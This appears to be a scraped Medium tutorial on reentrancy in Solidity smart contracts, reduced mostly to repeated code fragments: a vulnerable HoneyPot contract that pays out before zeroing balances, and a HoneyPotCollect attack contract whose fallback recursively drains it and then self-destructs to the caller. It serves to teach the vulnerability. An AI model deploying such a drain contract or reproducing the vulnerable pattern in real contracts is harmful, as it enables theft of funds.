Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack Contract

pragma solidity ^0.4.8;contract HoneyPot {
mapping (address => uint) public balances;
function HoneyPot() payable {
put();
}
function put() payable {
balances[msg.sender] = msg.value;
}
function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}
function() {
throw;
}
}
mapping (address => uint) public balances;
balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]
function put() payable {
balances[msg.sender] = msg.value;
}
function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot;
function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}
function kill () {
suicide(msg.sender);
}
function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}
function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}
pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot;
...
}
function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}
function kill () {
suicide(msg.sender);
}
function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}
function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Gustavo (Gus) Guimaraes

Gustavo (Gus) Guimaraes

A curious mind, joie de vivre practitioner